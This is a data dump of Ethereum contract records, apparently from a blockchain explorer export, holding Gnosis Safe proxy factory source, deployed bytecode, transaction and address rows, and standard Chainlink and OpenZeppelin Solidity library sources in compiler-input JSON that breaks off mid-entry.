/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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|
7f49de74c1abf7c11a5e9700a55b09cde3dce77d9e470c2a573d0b3fcc5cb2d1
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|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,487 |
470b57c3f349646601636339efd060b27ac44c6a7fe35391e264aa3f8d0dc564
|
a53e4641881b1ec0044dccc249d59b8f1ac6214770074c42db483c8d3bd1dd2c
|
d24400ae8bfebb18ca49be86258a3c749cf46853
|
485b9a41e8bf06e57bb64c6ba7cb04f9d53d2d76
|
ef4be9071913c787686398fffbad0ae408e14447
|
3d602d80600a3d3981f3363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7339778bc77bd7a9456655b19fd4c5d0bf2071104e5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,493 |
686195ffc4c12bc7d3e92040c48e41bfbac7ddbf6cb18ff44faacfbf703c7a64
|
21998c52357249e4d8b869be6ed84221649b4e809b82e7fdf012c8cec44dac6d
|
f2d98377d80dadf725bfb97e91357f1d81384de2
|
90eb22a31b69c29c34162e0e9278cc0617aa2b50
|
41ae288c4fa0ff46025d707d0ae3dddb2506d8f4
|
3d602d80600a3d3981f3363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(uint80 _roundId)\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n"
},
"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControlUpgradeable {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20PermitUpgradeable {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"contracts/interfaces/IAsset.sol": {
